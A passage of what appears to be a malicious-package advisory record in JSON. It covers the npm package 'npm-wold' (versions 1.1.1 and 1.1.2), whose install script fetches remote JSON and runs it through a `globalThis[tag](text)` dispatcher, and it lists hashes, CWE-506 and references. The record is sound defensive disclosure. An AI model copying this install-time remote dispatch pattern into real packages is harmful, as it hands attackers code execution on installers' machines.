The same file also contains `globalThis[tag](text)` with `tag`/`text` unresolved in the file, consistent with a staged/injected loader. The package advertises itself as an object-flatten utility, and there is no library reason for a lifecycle script to fetch remote JSON and route it through a dynamic global dispatcher. The remote server chooses both the function name and its argument, giving it code execution on the installer at install time.\n","affected":[{"package":{"ecosystem":"npm","name":"npm-wold"},"versions":["1.1.1","1.1.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/config.js","sha256":"8d5139c63992b734de689e2498a304172e90b9f44acdf39ca83a4acb5d46ace7","tlsh":"4bd09577c28d5024641070ddd00506207583d562c73dc417f91dddd1dce5964da01134"}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/npm-wold/v/1.1.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/npm-wold/v/1.1.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018359","import_time":"2026-08-19T04:47:46.954754881Z","modified_time":"2026-08-19T04:19:28Z","sha256":"731c22e563f2ea15800d87f345de9b8363c0c715e9f39606201d47a8fb422ab1","source":"amazon-inspector","versions":["1.1.1"]},{"id":"IN-MAL-2026-018360","import_time":"2026-08-19T04:47:47.018360712Z","modified_time":"2026-08-19T04:19:36Z","sha256":"93f3208f7de7ea0e9a981af668cf1d4897f75ebd7672ba90466e2b68bc7c6d65","source":"amazon-inspector","versions":["1.1.2"]}]}}
